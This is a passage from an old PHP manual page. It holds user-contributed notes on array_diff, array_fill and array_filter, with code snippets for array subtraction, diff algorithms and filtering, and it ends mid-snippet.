06-Jan-2006 08:22
After spending half an hour scratching my head wondering why this function wasn't working I realised I had the arguments the wrong way round!

I needed to remove the contents of $array1 from $array2 so I tried:

<?php
$diff    = array_diff($members1, $members2);
?>

WRONG!! A quick swap around and things worked smoothly...

<?php
$diff    = array_diff($members2, $members1);
?>

Hope this saves someone a bit of bother
air at multi dot fi
04-Jan-2006 07:41
A small thing that caused me trouble today, wich I don't see listed on this page is that array_diff keeps the placing for the uniqe values, and removes the duplicated. This gives us empty fields in the array, wich caused me a lot of trouble. The solutions was simply to use array_merge() around the array_diff.

For example:
$array1 = array('blue', 'red', 'green');
$array2 = array('red');

array_diff($array1, $array2);

Will give us:
------
Array
(
   [0] => red
   [1] =>
   [2] => green
)

But if we use:

array_merge(array_diff($array1, $array2));

We will get:
------
Array
(
   [0] => red
   [1] => green
)
Viking Coder
04-Jan-2006 01:07
To anybody wanting a double-sided array_diff - mentioned by rudigier at noxx dot at. Remember, array_diff gives you everything in the first array that isn't in the subsequent arrays.

$array1=array('blue','red','green');
$array2=array('blue','yellow','green');

array_merge(array_diff($array1, $array2),array_diff($array2, $array1));

Result
------
Array
(
   [0] => red
   [1] => yellow
)
white_phoenix at ru dot ru
15-Dec-2005 03:37
To: effectpenguin at antarctida dot ru
Re: interesting effect
<?php
function arraycpy(&$target,&$array)
{
 if (!is_array($target)) {$target = array();}
 foreach($array as $k=>$v) {if ($k != "GLOBALS") {$target[$k] = $v;}}
}
arraycpy($old,$GLOBALS);
// some actions with variables:
$homer = "beer";
arraycpy($new,$GLOBALS);
$diff = array_diff($new,$old);
var_dump($diff);
?>
array(1) {
  ["homer"]=>
  string(4) "beer"
}
Windows NT WPX_NB 5.1 build 2600 PHP/5.0.4
penguin at antarctida dot ru
06-Oct-2005 08:41
Interesting effect...
I just wanted to see, what variables are created and not unset after some actions.
So I write:

<?php
$a_var_GlobalsBefore = $GLOBALS;
?>
...some actions with variables
<?php
$a_var_GlobalsAfter = $GLOBALS;
$a_var_VariablesNotUnset = array_diff ($a_var_GlobalsAfter, $a_var_GlobalsBefore);
?>

...and _ALL_ variables puff up in smoke.

Have no idea what causes this behavior, but found a nice workaround:

<?php
$a_var_GlobalsBefore = array_keys ($GLOBALS);
?>
...some actions with variables
<?php
$a_var_GlobalsAfter = array_keys ($GLOBALS);
$a_var_VariablesNotUnset = array_diff ($a_var_GlobalsAfter, $a_var_GlobalsBefore);
?>

...and the unset variables are here.
rafmav
20-Apr-2005 07:24
Here is a few functions to do a fast diff between two arrays in a few lines.
You can use it with other functions described in the function array_merge : array_merge_replace from an other user, and two functions using it : array_merge_diff and array_merge_diff_reverse.
Note that the keys are preserved!
<?
// returns a two dimensions array with the deleted data
// and the added data
function array_diff_both($new,$old)
{
   $del=array_diff_assoc($old,$new);
   $add=array_diff_assoc($new,$old);
   return $diff=array("del"=>$del, "add"=>$add);
}

// returns a two dimensions array with the equal data,
// deleted data and the added data
function array_diff_all($arr_new,$arr_old)
{
   $arr_equ=array_intersect_assoc($arr_new,$arr_old);
   $arr_del=array_diff_assoc($arr_old,$arr_new);
   $arr_add=array_diff_assoc($arr_new,$arr_old);
   return $diff=array("equ"=>$arr_equ, "del"=>$arr_del, "add"=>$arr_add);
}
?>
rudigier at noxx dot at
10-Feb-2005 02:53
if you don't like the php diff (like me) then take look at my diff functions

if you have two arrays, lets say:

a1 = { blue, red, green }
a2 = { blue, yellow, green }

array_diff just gives me nothing, although there is a difference. instead of an empty array, i needed an array which should contain "red" and "yellow" in this case.

single_diff satisfies my wish.

function single_diff(&$a1,&$a2)
{
  $r = array(); // return

  foreach ($a1 as $pl) // payload
  {
   if (! in_array($pl, $a2, true) )
     $r[] = $pl;
  }

  foreach ($a2 as $pl) // payload
  {
   if (! in_array($pl, $a1, true) && ! in_array($pl, $r, true) )
     $r[] = $pl;
  }
  return $r;
}

--------------------
this one just keeps the keys of the arrays in mind by comparing the values directly. just in case if there are values, which might occur multiple in one of these arrays.

function single_diff_assoc(&$a1,&$a2)
{
  $r = array(); // return

  foreach ($a1 as $k => $pl) // payload
  {
   if (! isset($a2[$k]) || $a2[$k] != $pl)
     $r[$k] = $pl;
  }

  foreach ($a2 as $k => $pl) // payload
  {
   if ( (! isset($a1[$k]) || $a1[$k] != $pl ) && ! isset($r[$k]) )
     $r[$k] = $pl;
  }
  return $r;
}

recursion support might be useful, but feel free to modify this functions to your own purposes.
j dot j dot d dot mol at ewi dot tudelft dot nl
31-Dec-2004 04:34
Here is some code to take the difference of two arrays. It allows custom modifications like prefixing with a certain string (as shown) or custom compare functions.

<?php
 // returns all elements in $all which are not in $used in O(n log n) time.
  // elements from $all are prefixed with $prefix_all.
  // elements from $used are prefixed with $prefix_used.
  function filter_unused( $all, $used, $prefix_all = "", $prefix_used = "" ) {
     $unused = array();

     // prefixes are not needed for sorting
     sort( $all );
     sort( $used );

     $a = 0;
     $u = 0;

     $maxa = sizeof($all)-1;
     $maxu = sizeof($used)-1;

     while( true ) {
         if( $a > $maxa ) {
             // done; rest of $used isn't in $all
             break;
         }
         if( $u > $maxu ) {
             // rest of $all is unused
             for( ; $a <= $maxa; $a++ ) {
                 $unused[] = $all[$a];
             }
             break;
         }

         if( $prefix_all.$all[$a] > $prefix_used.$used[$u] ) {
             // $used[$u] isn't in $all?
             $u++;
             continue;
         }

         if( $prefix_all.$all[$a] == $prefix_used.$used[$u] ) {
             // $all[$a] is used
             $a++;
             $u++;
             continue;
         }

         $unused[] = $all[$a];

         $a++;
     }

     return $unused;
  }
?>
sire at coolquotescollection dot com
26-Nov-2003 09:52
Continuing from r.kirschke's excellent diff function (above), here's a function that will turn the result into nicely formatted HTML:

<?php
echo "<html><body bgcolor=white>";

$oldString = "Once there was a boy named Bart and a girl named Lisa.";
$newString = "Once upon a time there was a girl named Lisa.";

echo "Old String: " . $oldString . "<br>";
echo "New String: " . $newString . "<br>";
echo "Difference: " . diff_to_html($oldString, $newString);
// Returns a nicely formatted html string
function diff_to_html($oldString, $newString)
{
  $a1 = explode(" ", $oldString);
  $a2 = explode(" ", $newString);
  $result = arr_diff($a1, $a2);

  foreach ($result[0] as $num => $foo)
  {
   $source = $result[1][$num];
   $element = $result[0][$num];

   switch ($source)
   {
     case "1":
       $pre = "<font color=red><s>";
       $post = "</s></font>";
       break;
     case "2":
       $pre = "<font color=green>";
       $post = "</font>";
       break;
     case "b":
       $pre = "";
       $post = "";
       break;
   }
   // VERTICAL OUTPUT:
   // $return .= $num . $pre . " " . $source .
   // " " . $element . $post . "<br>";
   // READABLE OUTPUT:
   $return .= $pre . $element . $post . " ";
  }
  return $return;
}

?>
19-Nov-2003 08:54
From the page:
Note:  Please note that this function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_diff($array1[0], $array2[0]);

I've found a way to bypass that. I had 2 arrays made of arrays.
I wanted to extract from the first array all the arrays not found in the second array. So I used the serialize() function:

<?php
function my_serialize(&$arr,$pos){
  $arr = serialize($arr);
}

function my_unserialize(&$arr,$pos){
  $arr = unserialize($arr);
}

 //make a copy
$first_array_s = $first_array;
$second_array_s = $second_array;

// serialize all sub-arrays
array_walk($first_array_s,'my_serialize');
array_walk($second_array_s,'my_serialize');

// array_diff the serialized versions
$diff = array_diff($first_array_s,$second_array_s);

// unserialize the result
array_walk($diff,'my_unserialize');

// you've got it!
print_r($diff);
?>
ampf at egp dot up dot pt
19-Apr-2003 12:34
What I was needing was a way to diff multidimension arrays by a given key.... I came up with this.

<?php
/*
*  Multidimension array subtract by a sub key.
*
*    $array1 = array(
*      array(
*        "name" => "Foo",
*        "mail" => "foo@moo.net"
*      ),
*      array(
*        "name" => "Bar",
*        "mail" => "bar@bie.com"
*      )
*    );
*
*    $array2 = array(
*      array(
*        "name" => "Foo",
*        "mail" => "foo@moo.net"
*      ),
*      array(
*        "name" => "Xpto",
*        "mail" => "xpto@xp.to"
*      )
*    );
*
*    $result = array_subtract($array1, $array2, "name");
*
*    $result = array(
*      array(
*        "name" => "Bar",
*        "mail" => "bar@bie.com"
*      )
*    );
*
*  Authors:
*    Antonio Fernandes <ampf@egp.up.pt>
*
*/
function array_subtract($array1,$array2,$compareString) {
   if (!is_array($array1) || !is_array($array2) || !$compareString) {
       return false;
   }
   $arrResult = array();
   foreach ($array1 as $arrInsideArray1) {
       foreach ($array2 as $arrInsideArray2) {
           $found=false;
           if ($arrInsideArray1[$compareString]==$arrInsideArray2[$compareString]) {
               $found=true;
               break;
           }
       }
       if (!$found) {
           array_push($arrResult,$arrInsideArray1);
       }
   }
   return $arrResult;
}
?>
d dot u dot phpnet at holomind dot de
27-Mar-2003 03:48
I was not satisfied with the compare-funtions of array_diff() so i wrote a litte diff-clone which compares arrays and shows all different entries. You can easliy change the function formatline() for your needs.

function arr_diff( $a1, $a2, $show_matches=0);
...
output:
1 : 1 : - <head><title>Text</title></head>
1 : 1 : + <head><title>Text2</title></head>
4 : 4 : - code b
4 : 4 : + code a
8 : 8 : - code f

See details on:  (example and source)

http://www.holomind.de/phpnet/diff.php
http://www.holomind.de/phpnet/diff.src.php
r dot kirschke at gmx dot net
25-Mar-2003 05:26
Are you looking for a function which returns an edit script (a set of insert and delete instructions on how to change one array into another)? At least, that's what I hoped to find here, so here's some code based on http://www.cs.arizona.edu/people/gene/PAPERS/diff.ps :

<?php
function diff_rek(&$a1,&$a2,$D,$k,&$vbck)
{
 $x=$vbck[$D][$k]; $y=$x-$k;
 if ($D==0)
 {
  if ($x==0) return array(array(),array());
  else
  return array(array_slice($a1,0,$x),array_fill(0,$x,"b"));
 }
 $x2=$vbck[$D-1][$k+1];
 $y2=$vbck[$D-1][$k-1]-($k-1);
 $xdif=$x-$x2; $ydif=$y-$y2;
 $l=min($x-$x2,$y-$y2);
 $x=$x-$l;
 $y=$y-$l;
 if ($x==$x2)
 {
   $res=diff_rek($a1,$a2,$D-1,$k+1,$vbck);
   array_push($res[0],$a2[$y-1]);
   array_push($res[1],"2");
   if ($l>0)
   {
   $res[0]=array_merge($res[0],array_slice($a2,$y,$l));
   $res[1]=array_merge($res[1],array_fill(0,$l,"b"));
   }
 }
 else
 {
   $res=diff_rek($a1,$a2,$D-1,$k-1,$vbck);
   array_push($res[0],$a1[$x-1]);
   array_push($res[1],"1");
   if ($l>0)
   {
   $res[0]=array_merge($res[0],array_slice($a1,$x,$l));
   $res[1]=array_merge($res[1],array_fill(0,$l,"b"));
   }
 }
 return $res;
}

function arr_diff(&$a1,&$a2)
{
 $max=70;
 $c1=count($a1);
 $c2=count($a2);
 $v[1]=0;
 for ($D=0; $D<=$max; $D++)
 {
   for ($k=-$D; $k<=$D; $k=$k+2)
  {
   if (($k==-$D) || ($k!=$D && $v[$k-1]<$v[$k+1]))
   $x=$v[$k+1];
   else
   $x=$v[$k-1]+1;
   $y=$x-$k;
   while (($x<$c1)&&($y<$c2)&&($a1[$x]==$a2[$y]))
   {
     $x++;
     $y++;
   }
   $v[$k]=$x;
   if (($x>=$c1)&&($y>=$c2))
   {
   $vbck[$D]=$v;
   return diff_rek($a1,$a2,$D,$c1-$c2,$vbck);
   };
  }
  $vbck[$D]=$v;
 };
 return -1;
}
?>

This works on arrays of all elements for which the operator "==" is defined.
arr_dif($a1,$a2) returns an array of two arrays:
$result[0] = array of elements from $a1 and $a2
$result[1] = array of chars - one for each element from $result[0]:
 "1" : The corresponding element is from $a1
 "2" : The corresponding element is from $a2
 "b" : The correspondig element is from both source arrays
The function returns -1, when the number of different elements is greater than $max

Example:
$a1=array("hello","world");
$a2=array("good","bye","world");
=> arr_diff($a1,$a2) = array(array("hello","good","bye","world"), array("1","2","2","b"));
csaba2000 at yahoo dot com
26-Feb-2003 05:58
<?php
function array_key_diff($ar1, $ar2) {  // , $ar3, $ar4, ...
   // returns copy of array $ar1 with those entries removed
   // whose keys appear as keys in any of the other function args
   $aSubtrahends = array_slice(func_get_args(),1);
   foreach ($ar1 as $key => $val)
       foreach ($aSubtrahends as $aSubtrahend)
           if (array_key_exists($key, $aSubtrahend))
               unset ($ar1[$key]);
   return $ar1;
}

$a = array("c" => "catty", "b" => "batty", "a" => "aunty", 5 => 4, 2.9 => 7, 11, "n" => "nutty");
$b = array(9, "d" => "ditty", "b" => "bratty", "a" => null, 10, 13);
$c = array_key_diff ($a, $b, array(5 => 6));
?>

$c is then equivalent to array('c' => 'catty', 6 => 11, 'n' => 'nutty')

Csaba Gabor from New York
ds2u at the hotmail dot com
24-Feb-2003 08:22
Yes you can get rid of gaps/missing keys by using:

<?php
$result = array_values(array_diff($array1,$array2));
?>

But to drop the storage of void spaces (actually a line feed) which are irritatingly indexed when reading from files - just use difference:

<?php
$array = array ();
$array[0] = "\n";
$result = array_diff($result,$array);
?>

dst
jg at sto dot com dot au
02-Nov-2002 05:54
I have found an interesting use for array_diff. I remember seing somebody having trouble deleting from an array because it left "holes".

I thought about using array_diff to fix the problem. Try running this code and see what it does:

<?php

for($i=0;$i<4;$i++)
{
print("Deleting item $i from the array<BR>");

$my_array = array("value1","value2","value3","value4");

$my_array = array_diff($my_array,array_slice($my_array,$i,1));

foreach($my_array as $value)print("    -->$value<BR>\n");
}
?>

It seems to work for every member of the array. I'm not sure how efficient it would be on really large arrays, though.

JG Estiot
drNOSPAMtdiggersSPAMNO at hotmail dot com
07-Aug-2002 04:10
array_diff does not have buggy behavior as described above.  The problem stems from calling array_diff() each time in the loop, therefore regererating a new array with an index always at the beginning EVERY time, so each will always pick the first entry.  This is not buggy, but in fact what you've told the program to do :)  The solution is not as much a solution, but properly instructing the program what to do!

Cheers!
TheoDiggers
arjanz at intermax dot nl
10-Apr-2002 02:53
In PHP 4.0.6 the array_minus_array() as shown above didn't work properly, especially when you use duplicated values:

When I wanted to substract
     'Array(1,1,2,3)'
with
     'Array (1,2,4)'

I wanted as result:

'Array(1,3)'

And not just 'Array (3)' as it would give using array_diff(), or nothing as result using the above array_minus_array function.

This worked for me:

<?php
function array_minus_array($a,$b)  {
   $c = Array();
   foreach ($a as $key => $val) {
           $posb = array_search($val,$b);
           if (is_integer($posb)) {
               unset($b[$posb]);
           } else {
               $c[] = $val;
           }
   }
   return $c;
}
?>
alex at bacan dot cl_remove_this_for_email
09-Feb-2002 04:03
For those who are looking how to substract one array for another:
you cannot use the "-" operator !!!

But you can use this function:
<?php
function array_minus_array($a, $b) {
       $c=array_diff($a,$b);
       $c=array_intersect($c, $a);
       return $c;
}
?>

So, for example:
<?php
$a[]="a";
$a[]="b";
$a[]="c";
$b[]="a";
$c=array_minus_array($a,$b);
var_dump($c);
?>

Prints out:
array(2) {
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
}
which is $a-$b, as we wanted.

PD: you may also do a foreach ... if $a in_array $b ... but this is much more elegant !!!
Credits to A.Atala "mandrake", who knows everything about mathematic.
SeanECoates at !donotspam!yahoo dot ca
17-Oct-2001 01:43
I just came upon a really good use for array_diff(). When reading a dir(opendir;readdir), I _rarely_ want "." or ".." to be in the array of files I'm creating. Here's a simple way to remove them:

<?php
 $someFiles = array();
 $dp = opendir("/some/dir");
 while($someFiles[] = readdir($dp));
 closedir($dp);

 $removeDirs = array(".","..");
 $someFiles = array_diff($someFiles, $removeDirs);

 foreach($someFiles AS $thisFile) echo $thisFile."\n";
?>

S
caugustin at alcyonis dot nospam dot fr
26-Jul-2001 06:57
In version 4.0.1 to 4.0.4, array_diff() works on array of array, but not anymore in version 4.0.5 and 4.0.6.<br>
According to php team :
When I wrote array_diff I didn't think of this use. It
worked by accident. array_diff was changed to avoid
some ordering problems. The way it was there was no well
defined ordering. Due to automatic type conversion, you
you would have 3d < 99 <  370 < 3d. This made
array_diff fail, this was fixed by always using string
comparisons. That doesn't work for arrays though.
ylu at enreach dot com
19-May-2001 01:15
To skip empty values, simply use:
$result = array_values(array_diff($array1,$array2));
david at audiogalaxy dot com
08-Apr-2001 07:12
Note that array_diff() considers the type of the array elements when it compares them.

If array_diff() doesn't appear to be working, check your inputs using var_dump() to make sure you're not trying to diff an array of integers with an array of strings.
add a note add a note

后退 | 起点 | 前进
array_diff_ukey | 上一级 | array_fill


array_fill

(PHP 4 >= 4.2.0, PHP 5)

array_fill -- 用给定的值填充数组

说明

array array_fill ( int start_index, int num, mixed value )

array_fill() 用 value 参数的值将一个数组填充 num 个条目，键名由 start_index 参数指定的开始。注意 num 必须是一个大于零的数值，否则 PHP 会发出一条警告。

例子 1. array_fill() 例子

<?php
$a = array_fill(5, 6, 'banana');
print_r($a);
?>

$a 现在是：

Array
(
    [5]  => banana
    [6]  => banana
    [7]  => banana
    [8]  => banana
    [9]  => banana
    [10] => banana
)

参见 str_repeat() 和 range()。

add a note add a note User Contributed Notes
caliban at darklock dot com
23-May-2005 10:42
To better handle the problem of sparse array completion mentioned a couple years ago...

What you really need in this scenario is an empty array containing all the desired keys, and a sparse array containing the keys and values you want overridden. This PHP5 function does that. (The PEAR package PHP_Compat should be able to fill in the gap -- array_combine() --  for a 4.3 install, if necessary.)

<?php
   function array_complete(
       $keys="",                // array of keys you need filled, in order
       $sparse=""                // sparse array to override blanks
   )
   {
       if(!is_array($sparse))
           $sparse=array();

       if(!is_array($keys))
           return $sparse;

       return array_merge(
           array_combine(        // create an associative array
               $keys,            // your list of keys
               array_fill(        // blank value for each key
                   0,count(
                       $keys
                   ),""
               )
           ),$sparse            // merge with your incomplete array
       );
   }
?>

This merges in your sparse array (inserting any additional keys in that array after the ones you've specified), placing its values in the key order you specify, leaving all the other values blank.

Test call: var_dump(array_complete(array("test1", "test2", "test3", "test4", "test5"), array("test3" => "test3", "test1" => "test1", "garbage" => "garbage")));

Result: array(6) {
  ["test1"]=>
  string(5) "test1"
  ["test2"]=>
  string(0) ""
  ["test3"]=>
  string(5) "test3"
  ["test4"]=>
  string(0) ""
  ["test5"]=>
  string(0) ""
  ["garbage"]=>
  string(7) "garbage"
}
csst0266 at cs dot uoi dot gr
12-Aug-2004 01:32
This is what I recently did to quickly create a two dimensional array (10x10), initialized to 0:

<?php
  $a = array_fill(0, 10, array_fill(0, 10, 0));
?>

This should work for as many dimensions as you want, each time passing to array_fill() (as the 3rd argument) another array_fill() function.
jausion at hotmail-dot-com
29-Mar-2003 03:50
For PHP < 4.2.0 users:

Add this to your script:
if (!function_exists('array_fill')) {
   require_once('array_fill.func.php');
}

and the array_fill.func.php file:

<?php

// For PHP version < 4.2.0 missing the array_fill function,
// I provide here an alternative. -Philippe

function array_fill($iStart, $iLen, $vValue) {
   $aResult = array();
   for ($iCount = $iStart; $iCount < $iLen + $iStart; $iCount++) {
       $aResult[$iCount] = $vValue;
   }
   return $aResult;
}

?>
26-Aug-2002 04:59
array_fill() cannot be used to setup only missing keys in an array. This  may be necessary for example before using implode()  on a sparse filled array.
The solution is to use this function:

<?php
function array_setkeys(&$array, $fill = NULL) {
$indexmax = -1;
for (end($array); $key = key($array); prev($array)) {
if ($key > $indexmax)
$indexmax = $key;
}
for ($i = 0; $i <= $indexmax; $i++) {
if (!isset($array[$i]))
$array[$i] = $fill;
}
ksort($array);
}
?>

This is usefull in some situations where you don't know which key index was filled and you want to preserve the association between a positioned field in an imploded array and the key index when exploding it.
add a note add a note

后退 | 起点 | 前进
array_diff | 上一级 | array_filter


array_filter

(PHP 4 >= 4.0.6, PHP 5)

array_filter -- 用回调函数过滤数组中的单元

说明

array array_filter ( array input [, callback callback] )

array_filter() 依次将 input 数组中的每个值传递到 callback 函数。如果 callback 函数返回 TRUE，则 input 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

例子 1. array_filter() 例子

<?php
function odd($var)
{
    return($var % 2 == 1);
}

function even($var)
{
    return($var % 2 == 0);
}

$array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);
$array2 = array(6, 7, 8, 9, 10, 11, 12);

echo "Odd :\n";
print_r(array_filter($array1, "odd"));
echo "Even:\n";
print_r(array_filter($array2, "even"));
?>

上例将输出：

Odd :
Array
(
    [a] => 1
    [c] => 3
    [e] => 5
)
Even:
Array
(
    [0] => 6
    [2] => 8
    [4] => 10
    [6] => 12
)

用户不应在回调函数中修改数组本身。例如增加／删除单元或者对 array_filter() 正在作用的数组进行 unset。如果数组改变了，此函数的行为没有定义。

如果没有提供 callback 函数，array_filter() 将删除 input 中所有等值为 FALSE 的条目。更多信息见转换为布尔值。

例子 2. array_filter() 无 callback

<?php

$entry = array(
             0 => 'foo',
             1 => false,
             2 => -1,
             3 => null,
             4 => ''
          );

print_r(array_filter($entry));
?>

上例将输出：

Array
(
    [0] => foo
    [2] => -1
)

参见 array_map()，array_reduce() 和 array_walk()。

add a note add a note User Contributed Notes
ydotzhangatwriwindberdotorg
18-Jan-2006 05:57
I have written a function that will filter an array by the frequency of
element value in the array.  This may be useful to some people.

/////////////////////////////////////////////////////////////////
//    Filter an array by value freguebcy
//    Input: $array
//    cut-off: $frequency (>=1)
//    result option option: 1=$frequency and higher
//          0=$frequency only
//          -1=$frequency and lower
/////////////////////////////////////////////////////////////////
function filter_array($array, $frequency = 2, $include = 1){
   $freg = array_count_values($array);
   if($frequency<1){
       print "** frequency cut-off should be >= 1! **\n";
       return false;
   }
   foreach($freg as $k => $v){
       if($include == 0){
           if($frequency != $v){
               $freg[$k] = 0;
           }
       }elseif($include > 0){
           if($frequency > $v){
               $freg[$k] = 0;
           }
       }else{
           if($frequency < $v){
               $freg[$k] = 0;
           }
       }
   }
   $filtered = array_filter($freg);
   $values = array_keys($filtered);
   return array_intersect($array,$values);
}
xert
26-Apr-2005 08:14
According to a simple test with array_filter($array) and array_diff($array, array('')) is array_filter 2.5 times faster than array_diff when deleting empty entries.
timo at frenay dot net
04-Jan-2005 04:38
Do not use this function to delete known values from an array; array_diff() does the job much easier.
For example, to delete all empty strings from an array:

<?php
   $arr = array_diff($arr, array(''));
?>
marc dot vanwoerkom at fernuni-hagen dot de
05-Jul-2004 11:09
Some of PHP's array functions play a prominent role in so called functional programming languages, where they show up under a slightly different name:

<?php
  array_filter() -> filter(),
  array_map() -> map(),
  array_reduce() -> foldl() ("fold left")
?>

Functional programming is a paradigm which centers around the side-effect free evaluation of functions. A program execution is a call of a function, which in turn might be defined by many other functions. One idea is to use functions to create special purpose functions from other functions.

The array functions mentioned above allow you compose new functions on arrays.

E.g. array_sum = array_map("sum", $arr).

This leads to a style of programming that looks much like algebra, e.g. the Bird/Meertens formalism.

E.g. a mathematician might state

  map(f o g) = map(f) o map(g)

the so called "loop fusion" law.

Many functions on arrays can be created by the use of the foldr() function (which works like foldl, but eating up array elements from the right).

I can't get into detail here, I just wanted to provide a hint about where this stuff also shows up and the theory behind it.
Maxwel Leite
11-May-2004 11:17
For any type of array. Basead in redshift code.

<?php
function array_clean ($array, $todelete = false, $caseSensitive = false) {
   foreach($array as $key => $value) {
       if(is_array($value)) {
           $array[$key] = array_clean($array[$key], $todelete, $caseSensitive);
       }
       else {
           if($todelete) {
               if($caseSensitive) {
                   if(strstr($value ,$todelete) !== false)
                       unset($array[$key]);
               }
               else {
                   if(stristr($value, $todelete) !== false)
                       unset($array[$key]);
               }
           }
           elseif (empty($value)) {
               unset($array[$key]);
           }
       }
   }
   return $array;
}
?>
steven at xinu dot org
23-Feb-2004 04:39
The anonymous fellow a few posts up was trying to illustrate how to use the array_filter() function with class methods but confused things a bit. Here's a cleaner example:

<?php
class testclass
{
   function testclass()
   {
       // define the numbers array
       $numbers = array(1, 2, 3, 4, 5, 6);

       // pull out the odd numbers
       $odd = array_filter($numbers, array($this, "odd"));

       // pull out the even numbers
       $even = array_filter($numbers, array($this, "even"));
   }

   function odd($var)
   {
       return($var % 2 == 1);
   }

   function even($var)
   {
       return($var % 2 == 0);
   }
}
?>
Jeremy
30-Dec-2003 05:31
Here is a nice little function which will apply a callback function recursively over a multidimensional array. If the callback function returns false, then it replaces the value of the array with $filtered_ouput. This function gracefully handles objects inside of arrays (and objects within objects within arrays, etc). It is specifically designed for your callback function to process on the array key's (unlike normal array_filter which filters on the values), but it could work on the array values depending on your test criteria (YMMV).

<?PHP

function array_key_filter_multi($array, $callback, $filtered_output = "")
{
   $ret = array();
   foreach($array as $key=>$value) {
       if($callback($key,$value)) {
           if(is_array($value)) {
               $ret[$key] = array_key_filter_multi($value, $callback, $filtered_output);
           }
           elseif(is_object($value)) {
               $ret[$key] = array_key_filter_multi(get_object_vars($value), $callback, $filtered_output);
           }
           else {
               $ret[$key]=$value;
           }
       }
       else {
           $ret[$key]=$filtered_output;
       }
   }
   return $ret;
}

?>

We use this to filter redundant data from debugging output. An example usage is:

<?

$callback_func = create_function('$key, $value', 'return ($key == "db" || $key == "smarty") ? false : true;');
echo "<PRE>" . print_r(array_key_filter_multi($_SESSION, $callback_func, "**filtered by function**"), true) . "</PRE>";

?>

Which filters all keys with "db" or "smarty" as their name (including objects which have a reference to those variables). The output of the above in a test case I did is the following:

Array
(
   [userdata] => Array
       (
           [sid] => a130e675d380e0e9fe47897922d719ac
           [not_in_db] =>
           [user_id] => 1
           [session_id] => 154
           [permissions] => 1
           [username] => tester
       )
   [systemobjects] => Array
       (
           [db] => **filtered by function**
           [smarty] => **filtered by function**
       )
)
redshift at pandora dot be
29-Jun-2003 03:01
Hi all,
Here's a function that will look trough an array, and removes the array member when the search string is found.

<?php
function array_clean ($input, $delete = false, $caseSensitive = false)
   {
   $i = 0;
   while($i < count($input))
       {
       if($delete)
           {
           if($caseSensitive)
               {
               if(!strstr($input[$i] ,$delete))
                   {
                   $return[] = $input[$i];
                   }
               }
               else
               {
               if(!stristr($input[$i], $delete))
                   {
                   $return[] = $input[$i];
                   }
               }
           }
           else
           {
           if(!empty($input[$i]))
               {
               $return[] = $input[$i];
               }
           }
       $i++;
       }
   return $return;
   }
?>

array array_clean(array input [, string needle [, boolean case sensitive]])

if needle is left empty, the function will delete the array members that have no value (this means if it's empty).
NOTE: It rebuilds the array from scratch, so keys begin with 0, like you would create a new array.

Example:
$array = array("John", "Doe", "Macy");
$array = array_clean($array, "doe", false);

print_r($array);
would return:
array
(
   [0] => John
   [1] => Macy
)

Hopes this helps someone :-)
skd2 at ece dot msstate dot edu
15-May-2003 06:24
The following function modifies the supplied array recursively so that filtering is performed on multidimentional arrays as well, while preserving keys.

<?php
function array_cleanse(&$arr){

$temp = array();
reset($arr);
if(count($arr) == 0) return "";

foreach($arr as $key=>$val):

 (is_array($val))? array_cleanse($val) : NULL;
 ($val)? $temp[$key] = $val : NULL;

endforeach;

$arr = $temp;
reset($arr);
}
?>

$arr1 = array('a'=>20,'b'=>array(''),'c'=>array(1,0,2),'d'=>0);
array_cleanse($arr1);
$arr1 will be array('a'=>20,'c'=>array(1,2))

array_filter may not be used as it does not modify the array within itself.
12-Feb-2003 06:47
You cannot do this:
$non_empty_array = array_filter($original_array, 'empty');
Since empty() is not a function but a language construct. (http://www.php.net/manual/en/function.empty.php)
ajohnson at speakeasy dot org
28-Sep-2002 03:42
be careful with the above function "array_delete"'s use of the stristr function, it could be slightly misleading. consider the following:

<?php
function array_delete($array, $filterforsubstring){
   $thisarray = array ();
   foreach($array as $value)
       if(stristr($value, $filterforsubstring)===false && strlen($value)>0)
           $thisarray[] = $value;
   return $thisarray;
}

function array_delete2($array, $filterforstring, $removeblanksflag=0){
   $thisarray = array ();
   foreach($array as $value)
       if(!(stristr($value, $filterforstring) && strlen($value)==strlen($filterforstring))
               && !(strlen($value)==0 && $removeblanksflag))
           $thisarray[] = $value;
   return $thisarray;
}

function array_delete3($array, $filterfor, $substringflag=0, $removeblanksflag=0){
   $thisarray = array ();
   foreach($array as $value)
       if(
           !(stristr($value, $filterfor)
               && ($substringflag || strlen($value)==strlen($filterfor))
           )
           && !(strlen($value)==0 && $removeblanksflag)
       )
           $thisarray[] = $value;
   return $thisarray;
}

$array1 = array ('the OtHeR thang','this', 'that', 'OtHer','', 9, 101, 'fifty', ' oTher', 'otHer ','','other','Other','','other blank things');

echo "<pre>array :\n";
print_r($array1);

$array2=array_delete($array1, "Other");

echo "array_delete(\$array1, \"Other\"):\n";
print_r($array2);

$array2=array_delete2($array1, "Other");

echo "array_delete2(\$array1, \"Other\"):\n";
print_r($array2);

$array2=array_delete2($array1, "Other",1);

echo "array_delete2(\$array1, \"Other\",1):\n";
print_r($array2);

$array2=array_delete3($array1, "Other",1);

echo "array_delete3(\$array1, \"Other\",1):\n";
print_r($array2);

$array2=array_delete3($array1, "Other",0,1);

echo "array_delete3(\$array1, \"Other\",0,1):\n";
print_r($array2);
 ?>
ajohnson at speakeasy dot org
18-Aug-2002 04:04
I was looking for a function to delete values from an array and thought I had found it in array_filter(), however, I *didn't* want the keys to be preserved *and* I needed blank values cleaned out of the array as well. I came up with the following (with help from many of the above examples):

<?php
function array_delete($array, $filterfor){
  $thisarray = array ();
  foreach($array as $value)
   if(stristr($value, $filterfor)===false && strlen($value)>0)
     $thisarray[] = $value;
  return $thisarray;
}

$array1 = array ('OtHeR','this', 'that', 'Other','', 9, 101, 'fifty', 'other','','');

echo "<pre>array :\n";
print_r($array1);

$array2=array_delete($array1, "Other");

echo "filtered:\n";
print_r($array2);
?>
13-Jun-2002 07:14
I was looking for a function able to take some values out of an array iteratively, and found array_filter very useful although i had some trouble figuring out the proper syntax...

class someclass {
   var $current;

   /** this is our iterative function */
   function main ($variable,$array){
       if (end test){
           return true;
       }
       $variable= some treatment...
       if (in_array($variable, $array)){
             $this->current=something...($variable);
           // this is the not-well-documented part
           $array=$array_filter($array, array($this, "array_reduce");
       }
       $this->main($variable, $array);
   }

   /** this is the function used to filter */
   function reduce_list($var){
       return ($var!=$this->current);
   }
}
sam,pointsystems,com
21-Feb-2002 09:12
Here's a good function to filter multidimensional arrays:

<?php
function array_filter_multi($input, $filter="", $keepMatches=true) {
       if (!is_array($input))
